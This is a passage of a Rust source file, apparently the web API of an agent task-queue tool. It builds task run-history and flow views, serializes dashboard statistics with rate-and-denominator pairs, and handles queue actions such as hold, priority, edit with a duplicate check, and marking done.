5280    nodes.push(start);
5281    let mut prev = "start".to_owned();
5282    let mut prev_exit: Option<(RunExit, String, AttemptCost)> = None;
5283    for (i, h) in history.iter().enumerate() {
5284        let key = format!("run-{}", h.n);
5285        let mut n = node(&key, "run", format!("Run {}", h.short));
5286        // Creation marks only the first pass of legacy runs. A resumed pass
5287        // without a record must not inherit the original run's start time.
5288        n.started_at = h
5289            .readable
5290            .then(|| {
5291                h.pass.as_ref().map(|p| p.started_at).or(if h.pass_n == 1 {
5292                    h.created_at
5293                } else {
5294                    None
5295                })
5296            })
5297            .flatten();
5298        n.run_kind = Some(h.kind);
5299        n.readable = h.readable;
5300        n.href = Some(format!("#/runs/{}", h.id));
5301        n.decided = h.readable && !h.provisional;
5302        n.detail = h
5303            .branch
5304            .as_ref()
5305            .map(|b| format!("review-only run of branch {b}"));
5306        match h.exit {
5307            RunExit::Unreadable => n.note = Some("unreadable"),
5308            RunExit::Interrupted => n.note = Some("interrupted"),
5309            // An earlier pass the run recorded as parked: the status shown
5310            // would be the run's current one, not this pass's.
5311            RunExit::Parked if h.later_pass.is_some() => n.note = Some("parked"),
5312            _ => {
5313                n.status = h.status;
5314                n.badge = h.badge.clone();
5315                if h.provisional {
5316                    n.note = Some("no verdict");
5317                }
5318            }
5319        }
5320        let into = match h.kind {
5321            "review" => Some(format!(
5322                "review-only run of branch {}",
5323                h.branch.as_deref().unwrap_or("?")
5324            )),
5325            "resume" => Some("resume the same run".to_owned()),
5326            _ if i > 0 => Some("retry".to_owned()),
5327            _ => None,
5328        };
5329        let attempt = prev_exit.as_ref().map_or(AttemptCost::None, |p| p.2);
5330        let label = match (prev_exit, into) {
5331            (Some((_, l, _)), Some(i)) => format!("{l} \u{2192} {i}"),
5332            (Some((_, l, _)), None) => l,
5333            (None, Some(i)) => i,
5334            (None, None) => "claimed".to_owned(),
5335        };
5336        edges.push(FlowEdge {
5337            from: prev.clone(),
5338            to: key.clone(),
5339            label,
5340            attempt,
5341        });
5342        prev_exit = Some((h.exit, h.exit_label.clone(), h.attempt));
5343        prev = key;
5344        nodes.push(n);
5345    }
5346    let mut end = node("end", "end", task.status.as_str().to_owned());
5347    end.status = Some(task.status.as_str());
5348    end.status_of = "task";
5349    // Other task states do not persist their transition start. In particular,
5350    // blocked_at can change while the task remains blocked.
5351    if task.status == TaskStatus::Held {
5352        end.started_at = task.held_at;
5353    }
5354    nodes.push(end);
5355    let (label, attempt) = match prev_exit {
5356        None => (
5357            format!("no run yet \u{2192} {}", task.status.as_str()),
5358            AttemptCost::None,
5359        ),
5360        Some((e, l, cost)) if e.explains(task.status) => {
5361            (format!("{l} \u{2192} {}", task.status.as_str()), cost)
5362        }
5363        Some((_, _, cost)) => (
5364            format!("closed by hand: task is {}", task.status.as_str()),
5365            cost,
5366        ),
5367    };
5368    edges.push(FlowEdge {
5369        from: prev,
5370        to: "end".to_owned(),
5371        label,
5372        attempt,
5373    });
5374    FlowView {
5375        nodes,
5376        edges,
5377        attempts: task.attempts,
5378        max_attempts,
5379        passes: history.len(),
5380        runs: distinct_runs(&task.runs),
5381    }
5382}
5383
5384/// How many different run ids a task's run list names.
5385fn distinct_runs(runs: &[String]) -> usize {
5386    let mut seen: Vec<&str> = Vec::new();
5387    for r in runs {
5388        if !seen.contains(&r.as_str()) {
5389            seen.push(r);
5390        }
5391    }
5392    seen.len()
5393}
5394
5395/// Describe recorded task passes, retaining unrecorded legacy list entries.
5396fn task_history(task: &Task, read: impl Fn(&str) -> Option<RunState>) -> Vec<TaskRunView> {
5397    let mut slots = Vec::new();
5398    let mut seen = Vec::new();
5399    for run_id in &task.runs {
5400        if seen.contains(&run_id) {
5401            continue;
5402        }
5403        seen.push(run_id);
5404        let state = read(run_id);
5405        let mine: Vec<_> = state.as_ref().map_or_else(Vec::new, |s| {
5406            s.passes
5407                .iter()
5408                .filter(|p| {
5409                    p.task_entry
5410                        || task
5411                            .passes
5412                            .iter()
5413                            .any(|t| t.run == *run_id && t.pass_index == p.index)
5414                })
5415                .cloned()
5416                .collect()
5417        });
5418        let legacy_count = task.runs.iter().filter(|r| *r == run_id).count();
5419        let total = legacy_count.max(mine.len());
5420        let offset = total - mine.len();
5421        for k in 0..total {
5422            // Legacy repeated entries retain their original positions. When
5423            // ids are unique, recorded pass times recover the resume order.
5424            let position = task
5425                .runs
5426                .iter()
5427                .enumerate()
5428                .filter(|(_, r)| *r == run_id)
5429                .nth(k.min(legacy_count - 1))
5430                .unwrap()
5431                .0;
5432            slots.push((
5433                run_id,
5434                state.clone(),
5435                k.checked_sub(offset).and_then(|i| mine.get(i)).cloned(),
5436                position,
5437            ));
5438        }
5439    }
5440    if distinct_runs(&task.runs) == task.runs.len() && slots.len() > task.runs.len() {
5441        slots.sort_by_key(|(_, state, pass, _)| {
5442            pass.as_ref()
5443                .map(|p| p.started_at)
5444                .or_else(|| state.as_ref().map(|s| s.created_at))
5445                .map_or((true, task.created_at), |at| (false, at))
5446        });
5447    } else {
5448        slots.sort_by_key(|(_, _, _, position)| *position);
5449    }
5450    let mut history = Vec::with_capacity(slots.len());
5451    let mut seen: Vec<&str> = Vec::new();
5452    let mut prior: Option<(&str, RunStatus)> = None;
5453    for (i, (run_id, state, pass, _)) in slots.iter().enumerate() {
5454        let k = seen.iter().filter(|r| **r == run_id.as_str()).count();
5455        let resumed = k > 0;
5456        seen.push(run_id);
5457        let total = slots.iter().filter(|(id, _, _, _)| id == run_id).count();
5458        let pass = pass.as_ref();
5459        let settled = pass.and_then(|p| {
5460            task.passes
5461                .iter()
5462                .find(|t| t.run == **run_id && t.pass_index == p.index)
5463        });
5464        history.push(task_run_view(
5465            run_id,
5466            state.as_ref(),
5467            RunSlot {
5468                n: i + 1,
5469                resumed,
5470                resumed_later: slots[i + 1..]
5471                    .iter()
5472                    .position(|(id, _, _, _)| id == run_id)
5473                    .map(|off| i + off + 2),
5474                prior,
5475                last: i + 1 == slots.len(),
5476                pass,
5477                settled,
5478                pass_n: k + 1,
5479                passes_of_run: total,
5480            },
5481            task,
5482        ));
5483        if let Some(s) = &state {
5484            prior = Some((run::short_of(run_id), s.status));
5485        }
5486    }
5487    history
5488}
5489
5490/// Fill [`TaskRunView::badge`] for attempts that are no longer being driven.
5491/// An earlier pass of a resumed run keeps no badge (it has no status box).
5492fn mark_badges(ui: &Ui, task: &Task, history: &mut [TaskRunView]) {
5493    if history.iter().all(|h| h.exit == RunExit::Interrupted) {
5494        return;
5495    }
5496    let (_, claimed, _) = run_row_inputs(ui);
5497    let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
5498    for h in history
5499        .iter_mut()
5500        .filter(|h| h.readable && h.exit != RunExit::Interrupted)
5501    {
5502        let Ok(state) = read_run(&ui.runs, &h.id) else {
5503            continue;
5504        };
5505        if state.status.done() {
5506            continue;
5507        }
5508        let live = state.liveness_with(
5509            claimed.contains(&h.id),
5510            |p| probe.borrow_mut().status(p),
5511            |p| probe.borrow_mut().started_at(p),
5512        );
5513        let waiting = !ui.questions.open_for(&h.id).is_empty();
5514        let display = run_display_status(&state, waiting, live);
5515        let word = run_badge_status(&state, &display, live, task.successor_of(&h.id).is_some());
5516        if matches!(word.as_str(), "stale" | "superseded")
5517            || (live == crate::run::Liveness::Dead && matches!(word.as_str(), "parked" | "waiting"))
5518        {
5519            h.badge = Some(word);
5520        }
5521    }
5522}
5523
5524async fn task_detail(
5525    State(ui): State<Arc<Ui>>,
5526    Path(id): Path<String>,
5527) -> ApiResult<Json<TaskDetailView>> {
5528    blocking(move || {
5529        let id = resolve_task(&ui.queue, &id)?;
5530        let task = ui
5531            .queue
5532            .get(&id)
5533            .map_err(|e| ApiError::not_found(format!("{e:#}")))?;
5534        let inv = crate::blockers::Inventory::load(&ui.queue, &ui.questions);
5535        let mut history = task_history(&task, |id| read_run(&ui.runs, id).ok());
5536        mark_badges(&ui, &task, &mut history);
5537        let runs_unreadable = history.iter().filter(|h| !h.readable).count();
5538        let max_attempts = task.effective_attempt_limit(daemon::Opts::default().max_attempts);
5539        let origin = task.followup.as_ref().map(|fu| {
5540            followup_origin(
5541                fu,
5542                |tid| ui.queue.get(tid).ok(),
5543                |rid| read_run(&ui.runs, rid).ok(),
5544            )
5545        });
5546        let flow = task_flow(&task, &history, max_attempts, origin.as_ref());
5547        Ok(Json(TaskDetailView {
5548            max_attempts,
5549            flow,
5550            followup_origin: origin,
5551            passes_total: history.len(),
5552            runs_distinct: distinct_runs(&task.runs),
5553            history,
5554            runs_unreadable,
5555            attempts_note: ATTEMPTS_NOTE,
5556            task: TaskView::with_inventory(task, &inv),
5557        }))
5558    })
5559    .await
5560}
5561
5562/// A rate together with its denominator, so the client can tell "computed as
5563/// 0%" apart from "no data to compute it from" — both would otherwise
5564/// serialize as `0.0`. `None` means the denominator was zero.
5565#[derive(Debug, Serialize)]
5566struct RateView {
5567    pct: f64,
5568    denominator: usize,
5569}
5570
5571impl RateView {
5572    fn of(numerator: usize, denominator: usize) -> Option<Self> {
5573        (denominator > 0).then(|| Self {
5574            pct: 100.0 * numerator as f64 / denominator as f64,
5575            denominator,
5576        })
5577    }
5578}
5579
5580/// [`crate::stats::Totals`] for the wire: the raw counters plus the derived
5581/// rates, each paired with its own denominator via [`RateView`] rather than
5582/// exposing `Stats`' own percentage methods directly — see this module's
5583/// doc for why `Stats` itself is never serialized.
5584#[derive(Debug, Serialize)]
5585struct StatsTotalsView {
5586    runs: usize,
5587    merged: usize,
5588    ready: usize,
5589    blocked: usize,
5590    failed: usize,
5591    stalled: usize,
5592    verified_noop: usize,
5593    superseded: usize,
5594    in_progress: usize,
5595    completion_rate: Option<RateView>,
5596    tallied: usize,
5597    split: usize,
5598    split_rate: Option<RateView>,
5599    deliberated: usize,
5600    minds_changed: usize,
5601    converged: usize,
5602    review_rounds: usize,
5603}
5604
5605impl From<&stats::Totals> for StatsTotalsView {
5606    fn from(t: &stats::Totals) -> Self {
5607        Self {
5608            runs: t.runs,
5609            merged: t.merged,
5610            ready: t.ready,
5611            blocked: t.blocked,
5612            failed: t.failed,
5613            stalled: t.stalled,
5614            verified_noop: t.verified_noop,
5615            superseded: t.superseded,
5616            in_progress: t.in_progress,
5617            completion_rate: RateView::of(t.merged + t.ready, t.runs),
5618            tallied: t.tallied,
5619            split: t.split,
5620            split_rate: RateView::of(t.split, t.tallied),
5621            deliberated: t.deliberated,
5622            minds_changed: t.minds_changed,
5623            converged: t.converged,
5624            review_rounds: t.review_rounds,
5625        }
5626    }
5627}
5628
5629/// [`crate::stats::AgentStats`] for the wire.
5630#[derive(Debug, Serialize)]
5631struct AgentStatsView {
5632    agent: String,
5633    entered: usize,
5634    wins: usize,
5635    empty: usize,
5636    win_rate: Option<RateView>,
5637    competitive_entered: usize,
5638    competitive_wins: usize,
5639    competitive_win_rate: Option<RateView>,
5640    solo_entered: usize,
5641    solo_adopted: usize,
5642    solo_adoption_rate: Option<RateView>,
5643}
5644
5645impl From<&stats::AgentStats> for AgentStatsView {
5646    fn from(a: &stats::AgentStats) -> Self {
5647        Self {
5648            agent: a.agent.clone(),
5649            entered: a.entered,
5650            wins: a.wins,
5651            empty: a.empty,
5652            win_rate: RateView::of(a.wins, a.entered),
5653            competitive_entered: a.competitive_entered,
5654            competitive_wins: a.competitive_wins,
5655            competitive_win_rate: RateView::of(a.competitive_wins, a.competitive_entered),
5656            solo_entered: a.solo_entered,
5657            solo_adopted: a.solo_adopted,
5658            solo_adoption_rate: RateView::of(a.solo_adopted, a.solo_entered),
5659        }
5660    }
5661}
5662
5663/// [`crate::stats::ReviewerStats`] for the wire. `adopted_per_round` is a
5664/// ratio, not a percentage, so it carries no [`RateView`] — just the raw
5665/// value, `None` when `rounds` is zero.
5666#[derive(Debug, Serialize)]
5667struct ReviewerStatsView {
5668    agent: String,
5669    rounds: usize,
5670    seated: usize,
5671    submitted: usize,
5672    adopted: usize,
5673    unique: usize,
5674    timeouts: usize,
5675    adopted_per_round: Option<f64>,
5676    precision: Option<RateView>,
5677    unique_rate: Option<RateView>,
5678    timeout_rate: Option<RateView>,
5679}
5680
5681impl From<&stats::ReviewerStats> for ReviewerStatsView {
5682    fn from(r: &stats::ReviewerStats) -> Self {
5683        Self {
5684            agent: r.agent.clone(),
5685            rounds: r.rounds,
5686            seated: r.seated,
5687            submitted: r.submitted,
5688            adopted: r.adopted,
5689            unique: r.unique,
5690            timeouts: r.timeouts,
5691            adopted_per_round: (r.rounds > 0).then(|| r.adopted_per_round()),
5692            precision: RateView::of(r.adopted, r.submitted),
5693            unique_rate: RateView::of(r.unique, r.submitted),
5694            timeout_rate: RateView::of(r.timeouts, r.seated),
5695        }
5696    }
5697}
5698
5699/// [`crate::stats::AdvisorStats`] for the wire.
5700///
5701/// `reflection_rate` is approximate by construction — see
5702/// [`crate::stats::AdvisorStats`]'s own doc — and the UI note that carries
5703/// that caveat is static text in `index.html`, not a field here.
5704#[derive(Debug, Serialize)]
5705struct AdvisorStatsView {
5706    agent: String,
5707    seated: usize,
5708    proposed: usize,
5709    absent: usize,
5710    faint: usize,
5711    strong: usize,
5712    reflection_rate: Option<RateView>,
5713}
5714
5715impl From<&stats::AdvisorStats> for AdvisorStatsView {
5716    fn from(a: &stats::AdvisorStats) -> Self {
5717        Self {
5718            agent: a.agent.clone(),
5719            seated: a.seated,
5720            proposed: a.proposed,
5721            absent: a.absent,
5722            faint: a.faint,
5723            strong: a.strong,
5724            reflection_rate: RateView::of(a.strong, a.proposed),
5725        }
5726    }
5727}
5728
5729/// [`crate::stats::E2eStats`] for the wire.
5730#[derive(Debug, Serialize)]
5731struct E2eStatsView {
5732    rounds: usize,
5733    failures: usize,
5734    sole_detections: usize,
5735    deferred: usize,
5736    sole_rate: Option<RateView>,
5737}
5738
5739impl From<&stats::E2eStats> for E2eStatsView {
5740    fn from(e: &stats::E2eStats) -> Self {
5741        Self {
5742            rounds: e.rounds,
5743            failures: e.failures,
5744            sole_detections: e.sole_detections,
5745            deferred: e.deferred,
5746            sole_rate: RateView::of(e.sole_detections, e.failures),
5747        }
5748    }
5749}
5750
5751/// [`crate::stats::ReleaseBumpStats`] for the wire.
5752///
5753/// `clean` is sent as a raw count, computed the same way
5754/// [`stats::ReleaseBumpStats::clean`] computes it (`recorded -
5755/// needs_attention`) — never derived client-side from `automerge_enabled`,
5756/// which would misclassify a `merged_directly` bump (automerge rejected, but
5757/// magi merged it directly, so no human involvement) as needing attention.
5758#[derive(Debug, Serialize)]
5759struct ReleaseBumpStatsView {
5760    merged: usize,
5761    recorded: usize,
5762    pr_opened: usize,
5763    automerge_enabled: usize,
5764    merged_directly: usize,
5765    needs_attention: usize,
5766    clean: usize,
5767    coverage_rate: Option<RateView>,
5768    automerge_rate: Option<RateView>,
5769    attention_rate: Option<RateView>,
5770}
5771
5772impl From<&stats::ReleaseBumpStats> for ReleaseBumpStatsView {
5773    fn from(b: &stats::ReleaseBumpStats) -> Self {
5774        Self {
5775            merged: b.merged,
5776            recorded: b.recorded,
5777            pr_opened: b.pr_opened,
5778            automerge_enabled: b.automerge_enabled,
5779            merged_directly: b.merged_directly,
5780            needs_attention: b.needs_attention,
5781            clean: b.clean(),
5782            coverage_rate: RateView::of(b.recorded, b.merged),
5783            automerge_rate: RateView::of(b.automerge_enabled, b.pr_opened),
5784            attention_rate: RateView::of(b.needs_attention, b.recorded),
5785        }
5786    }
5787}
5788
5789/// [`crate::queue::TaskCounts`] for the wire.
5790#[derive(Debug, Serialize)]
5791struct TaskCountsView {
5792    queued: usize,
5793    running: usize,
5794    done: usize,
5795    failed: usize,
5796    held: usize,
5797    blocked: usize,
5798    parked: usize,
5799}
5800
5801impl From<crate::queue::TaskCounts> for TaskCountsView {
5802    fn from(c: crate::queue::TaskCounts) -> Self {
5803        Self {
5804            queued: c.queued,
5805            running: c.running,
5806            done: c.done,
5807            failed: c.failed,
5808            held: c.held,
5809            blocked: c.blocked,
5810            parked: c.parked,
5811        }
5812    }
5813}
5814
5815/// [`crate::stats::RepoStats`] for the wire, one row per repository with
5816/// runs recorded — the summary the UI's repository selector is built from.
5817/// Carries no nested `Stats`: picking a repo means re-fetching
5818/// `GET /api/stats?repo=<repo>`, which reuses this same route's own
5819/// aggregation rather than duplicating it.
5820#[derive(Debug, Serialize)]
5821struct RepoSummaryView {
5822    /// `RunState.repo` exactly as recorded — the value `?repo=` matches
5823    /// against, full path and all (see [`stats_get`]'s own doc for why).
5824    repo: String,
5825    /// Display name only; never used for matching.
5826    name: String,
5827    runs: usize,
5828    completion_rate: Option<RateView>,
5829}
5830
5831impl From<&stats::RepoStats> for RepoSummaryView {
5832    fn from(r: &stats::RepoStats) -> Self {
5833        let t = &r.stats.totals;
5834        Self {
5835            repo: r.repo.to_string_lossy().into_owned(),
5836            name: r.name.clone(),
5837            runs: t.runs,
5838            completion_rate: RateView::of(t.merged + t.ready, t.runs),
5839        }
5840    }
5841}
5842
5843/// `GET /api/stats` - the whole answer. `Stats` itself carries no
5844/// `Serialize`, deliberately: its fields (and the CLI text `report::stats`
5845/// renders from them) are free to grow without that becoming a wire-contract
5846/// change, and its zero-denominator rate methods (`0.0`) cannot tell "no
5847/// data" from "computed and it really is zero" the way [`RateView`] does.
5848#[derive(Debug, Serialize)]
5849struct StatsView {
5850    totals: StatsTotalsView,
5851    /// Best win rate first, as [`stats::collect`] already sorts it.
5852    agents: Vec<AgentStatsView>,
5853    /// Most adopted-per-round first, as [`stats::collect`] already sorts it.
5854    reviewers: Vec<ReviewerStatsView>,
5855    /// Highest reflection rate first, as [`stats::collect`] already sorts it.
5856    advisors: Vec<AdvisorStatsView>,
5857    e2e: E2eStatsView,
5858    release_bumps: ReleaseBumpStatsView,
5859    queue: TaskCountsView,
5860    /// Same count and same meaning as [`HealthView::runs_unreadable`] - see
5861    /// that field's doc. Asserted to match it in
5862    /// `stats_runs_unreadable_matches_health`.
5863    ///
5864    /// Always the whole-workload count, even when `repo` narrows every other
5865    /// field to one repository - an unreadable `run.json` carries no `repo`
5866    /// a per-repository count could attribute it to, and the queue/health
5867    /// views this mirrors never scope it either. The UI must not present it
5868    /// as if it were scoped to the selected repository.
5869    runs_unreadable: usize,
5870    /// Every repository with runs recorded, most runs first - what the UI's
5871    /// repository selector is built from. Always the full list regardless of
5872    /// `repo`, so switching repositories never needs a second request.
5873    repos: Vec<RepoSummaryView>,
5874    /// Runs per local day over the last 30 days, oldest first, always 30
5875    /// entries. Days are the *server's* local dates (the UI must not convert
5876    /// them again), cut by run creation and classified by current status.
5877    /// Narrowed by `repo` like every other run-derived field.
5878    daily: Vec<DailyStatsView>,
5879    /// The `?repo=` value this response was narrowed to, echoed back so the
5880    /// UI can confirm its selection round-tripped. `None` for the aggregate,
5881    /// all-repositories view.
5882    repo: Option<String>,
5883    /// Agent ids left out of `agents` / `reviewers` / `advisors` because the
5884    /// current config roster no longer lists them. Empty with `?all=true`, an
5885    /// unreadable config, or when nothing was retired.
5886    retired_hidden: Vec<String>,
5887}
5888
5889/// One day of [`StatsView::daily`].
5890#[derive(Debug, Serialize)]
5891struct DailyStatsView {
5892    /// `YYYY-MM-DD`, server-local.
5893    date: String,
5894    runs: usize,
5895    merged: usize,
5896    ready: usize,
5897    other: usize,
5898    /// `None` on a day with no runs, so it never reads as 0%.
5899    completion_rate: Option<RateView>,
5900}
5901
5902impl From<&stats::DayBucket> for DailyStatsView {
5903    fn from(b: &stats::DayBucket) -> Self {
5904        Self {
5905            date: b.date.to_string(),
5906            runs: b.runs,
5907            merged: b.merged,
5908            ready: b.ready,
5909            other: b.other,
5910            completion_rate: RateView::of(b.merged + b.ready, b.runs),
5911        }
5912    }
5913}
5914
5915/// How many days [`StatsView::daily`] covers.
5916const STATS_DAILY_DAYS: usize = 30;
5917
5918/// `?repo=<path>` narrows `GET /api/stats` to the runs recorded against one
5919/// repository. Matched by full-path equality against `RunState.repo` only
5920/// (see [`stats::filter_repo`]) - never resolved by name the way the CLI's
5921/// `--repo` is, because the value here always came from this same route's
5922/// own `repos` list in an earlier response, never typed by a human. A value
5923/// matching no run is a 404, not an empty aggregate: the caller asked for a
5924/// specific, named repository, and silently returning zeroes would look
5925/// exactly like a repository that has runs but none of interest.
5926#[derive(Debug, Default, Deserialize)]
5927#[serde(default)]
5928struct StatsQuery {
5929    repo: Option<String>,
5930    /// `?all=true` keeps agents that are no longer in the roster.
5931    all: bool,
5932}
5933
5934/// `GET /api/stats` - task and run statistics for the dashboard, aggregated
5935/// by [`stats::collect`] (or [`stats::collect_refs`] over one repository's
5936/// runs when `?repo=` narrows it), the same counting logic `magi stats`
5937/// prints from. Reads every readable run on disk, exactly as
5938/// [`runs_unreadable`] does, so the two counts can never drift apart the way
5939/// a separately-maintained tally could.
5940async fn stats_get(
5941    State(ui): State<Arc<Ui>>,
5942    Query(q): Query<StatsQuery>,
5943) -> ApiResult<Json<StatsView>> {
5944    blocking(move || {
5945        let states: Vec<RunState> = run_ids(&ui.runs)
5946            .into_iter()
5947            .filter_map(|id| read_run(&ui.runs, &id).ok())
5948            .collect();
5949        let repos: Vec<RepoSummaryView> = stats::by_repo(&states)
5950            .iter()
5951            .map(RepoSummaryView::from)
5952            .collect();
5953        let mut scoped: Vec<&RunState> = states.iter().collect();
5954        let mut collected = match &q.repo {
5955            Some(repo) => {
5956                let filtered = stats::filter_repo(&states, std::path::Path::new(repo));
5957                if filtered.is_empty() {
5958                    return Err(ApiError::not_found(format!(
5959                        "no runs recorded against repo `{repo}`"
5960                    )));
5961                }
5962                scoped = filtered.clone();
5963                stats::collect_refs(filtered)
5964            }
5965            None => stats::collect(&states),
5966        };
5967        if !q.all {
5968            let repo = q
5969                .repo
5970                .as_deref()
5971                .map_or_else(|| ui.repo.clone(), PathBuf::from);
5972            stats::retain_current_roster(&mut collected, &repo);
5973        }
5974        let daily = stats::daily(
5975            scoped,
5976            jiff::Zoned::now().date(),
5977            &jiff::tz::TimeZone::system(),
5978            STATS_DAILY_DAYS,
5979        );
5980        let queue_counts = crate::queue::TaskCounts::of(&ui.queue.list());
5981        Ok(Json(StatsView {
5982            totals: StatsTotalsView::from(&collected.totals),
5983            agents: collected.agents.iter().map(AgentStatsView::from).collect(),
5984            reviewers: collected
5985                .reviewers
5986                .iter()
5987                .map(ReviewerStatsView::from)
5988                .collect(),
5989            advisors: collected
5990                .advisors
5991                .iter()
5992                .map(AdvisorStatsView::from)
5993                .collect(),
5994            e2e: E2eStatsView::from(&collected.e2e),
5995            release_bumps: ReleaseBumpStatsView::from(&collected.release_bumps),
5996            queue: TaskCountsView::from(queue_counts),
5997            runs_unreadable: runs_unreadable(&ui.runs),
5998            repos,
5999            daily: daily.iter().map(DailyStatsView::from).collect(),
6000            repo: q.repo.clone(),
6001            retired_hidden: collected.retired_hidden.clone(),
6002        }))
6003    })
6004    .await
6005}
6006
6007/// The body of `POST /api/queue/{id}/hold`, sent empty when the operator
6008/// gives no reason - which must keep working, since not every hold has one.
6009#[derive(Debug, Default, Deserialize)]
6010#[serde(default, deny_unknown_fields)]
6011struct HoldBody {
6012    reason: Option<String>,
6013}
6014
6015async fn queue_hold(
6016    State(ui): State<Arc<Ui>>,
6017    Path(id): Path<String>,
6018    body: std::result::Result<Json<HoldBody>, JsonRejection>,
6019) -> ApiResult<Json<TaskView>> {
6020    // An absent body is the ordinary case - most holds are unexplained, and
6021    // that has to stay a one-tap action rather than a form. A body that is
6022    // present and malformed is still a bad request.
6023    let body = match body {
6024        Ok(Json(body)) => body,
6025        Err(JsonRejection::MissingJsonContentType(_)) => HoldBody::default(),
6026        Err(e) => return Err(ApiError::bad_request(e.body_text())),
6027    };
6028    let reason = body.reason.filter(|r| !r.trim().is_empty());
6029    mutate(ui, id, move |t| {
6030        t.hold_manual(reason.clone());
6031        Ok(())
6032    })
6033    .await
6034}
6035
6036async fn queue_release(
6037    State(ui): State<Arc<Ui>>,
6038    Path(id): Path<String>,
6039) -> ApiResult<Json<TaskView>> {
6040    mutate(ui, id, |t| {
6041        t.release_operator("web", None);
6042        Ok(())
6043    })
6044    .await
6045}
6046
6047#[derive(Debug, Deserialize)]
6048#[serde(deny_unknown_fields)]
6049struct AttemptLimitBody {
6050    // Required even when clearing: missing fields must not silently erase an override.
6051    attempt_limit: serde_json::Value,
6052}
6053
6054async fn queue_attempt_limit(
6055    State(ui): State<Arc<Ui>>,
6056    Path(id): Path<String>,
6057    body: std::result::Result<Json<AttemptLimitBody>, JsonRejection>,
6058) -> ApiResult<Json<TaskView>> {
6059    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6060    let limit = serde_json::from_value::<Option<std::num::NonZeroUsize>>(body.attempt_limit)
6061        .map_err(|_| ApiError::bad_request("attempt_limit must be a positive integer or null"))?;
6062    mutate(ui, id, move |t| t.change_attempt_limit(limit)).await
6063}
6064
6065#[derive(Debug, Deserialize)]
6066#[serde(deny_unknown_fields)]
6067struct ImplementersBody {
6068    implementers: u8,
6069}
6070
6071async fn queue_implementers(
6072    State(ui): State<Arc<Ui>>,
6073    Path(id): Path<String>,
6074    body: std::result::Result<Json<ImplementersBody>, JsonRejection>,
6075) -> ApiResult<Json<TaskView>> {
6076    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6077    mutate(ui, id, move |t| t.change_implementers(body.implementers)).await
6078}
6079
6080#[derive(Debug, Deserialize)]
6081#[serde(deny_unknown_fields)]
6082struct UrgentBody {
6083    urgent: bool,
6084}
6085
6086async fn queue_urgent(
6087    State(ui): State<Arc<Ui>>,
6088    Path(id): Path<String>,
6089    body: std::result::Result<Json<UrgentBody>, JsonRejection>,
6090) -> ApiResult<Json<TaskView>> {
6091    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6092    mutate(ui, id, move |t| t.set_urgent(body.urgent)).await
6093}
6094
6095/// The body of `POST /api/queue/{id}/priority`.
6096#[derive(Debug, Deserialize)]
6097#[serde(deny_unknown_fields)]
6098struct PriorityBody {
6099    priority: i32,
6100}
6101
6102/// `POST /api/queue/{id}/priority` - the up/down control on the Queue card.
6103///
6104/// [`Task::set_priority`] is the one place the "not while running" rule is
6105/// stated; this route only carries the body to it and lets its `Err` become
6106/// the 4xx the card shows.
6107async fn queue_priority(
6108    State(ui): State<Arc<Ui>>,
6109    Path(id): Path<String>,
6110    body: std::result::Result<Json<PriorityBody>, JsonRejection>,
6111) -> ApiResult<Json<TaskView>> {
6112    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6113    mutate(ui, id, move |t| t.set_priority(body.priority)).await
6114}
6115
6116/// The body of `POST /api/queue/{id}/edit`.
6117#[derive(Debug, Deserialize)]
6118#[serde(deny_unknown_fields)]
6119struct EditBody {
6120    title: String,
6121    instruction: String,
6122    /// Save even though the new text names a branch, commit or pull request
6123    /// that unfinished work already owns.
6124    #[serde(default)]
6125    force: bool,
6126}
6127
6128/// `POST /api/queue/{id}/edit` - the full-text replacement the phone's edit
6129/// sheet sends. [`Task::edit`] refuses anything but `queued` and `held`, and
6130/// that refusal's message is what the sheet shows back.
6131async fn queue_edit(
6132    State(ui): State<Arc<Ui>>,
6133    Path(id): Path<String>,
6134    body: std::result::Result<Json<EditBody>, JsonRejection>,
6135) -> ApiResult<Json<TaskView>> {
6136    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6137    // The judge is an agent call, so it is awaited here, outside the claim
6138    // `mutate` holds: a daemon must not be kept waiting on it. What it saw is
6139    // remembered, and the save refuses if the task moved underneath it.
6140    let mut judged: Option<(String, PathBuf)> = None;
6141    if !body.force {
6142        let (queue, runs) = (ui.queue.clone(), ui.runs.clone());
6143        let (id, text) = (id.clone(), body.instruction.clone());
6144        let (seen, hits) = blocking(move || {
6145            let id = resolve_task(&queue, &id)?;
6146            let t = queue.get(&id)?;
6147            if text == t.instruction {
6148                return Ok((None, Vec::new()));
6149            }
6150            let hits = crate::dupes::check(&queue, &runs, &t.repo, &text, None, Some(&t.id));
6151            Ok((Some((t.instruction, t.repo)), hits))
6152        })
6153        .await?;
6154        if let Some((_, repo)) = &seen {
6155            let cfg = crate::config::Config::discover(repo, None)
6156                .ok()
6157                .map(|(c, _)| c);
6158            let screened =
6159                crate::dupes::screen_with_config(hits, &body.instruction, None, repo, cfg.as_ref())
6160                    .await
6161                    .map_err(|dup| {
6162                        ApiError::conflict(dup.render(
6163                            "Nothing was saved. If it is not a duplicate, repeat the request \
6164                             with \"force\": true.",
6165                        ))
6166                    })?;
6167            if let crate::dupes::Screened::Unjudged(why) = screened {
6168                tracing::warn!(%why, "task edit saved without a duplicate-work judgement");
6169            }
6170        }
6171        judged = seen;
6172    }
6173    let force = body.force;
6174    mutate(ui, id, move |t| {
6175        if !force && body.instruction != t.instruction {
6176            match &judged {
6177                Some((instruction, repo)) if *instruction == t.instruction && *repo == t.repo => {}
6178                _ => {
6179                    anyhow::bail!("the task changed while it was being checked; repeat the request")
6180                }
6181            }
6182        }
6183        t.edit(body.title.clone(), body.instruction.clone())
6184    })
6185    .await
6186}
6187
6188/// `POST /api/queue/{id}/done` - close a task as finished without deleting
6189/// it, so the phone's other way to clear a task from the backlog does not
6190/// have to cost the run history, the attribution, and `created_at` the way
6191/// [`queue_delete`] does. Behaves exactly like `magi task done`: any status
6192/// can be marked done by hand, because this is for the run the loop never
6193/// saw land - a merge done by hand, or a gate that misreported - and that can
6194/// happen from any status the task was left in.
6195async fn queue_done(
6196    State(ui): State<Arc<Ui>>,
6197    Path(id): Path<String>,
6198) -> ApiResult<Json<TaskView>> {
6199    let home = ui.home.clone();
6200    mutate(ui, id, move |t| {
6201        t.succeed();
6202        // Same as the loop's own settle path: closing a task by hand is just
6203        // as much "this task's story is over" as a daemon-driven `Merged`/
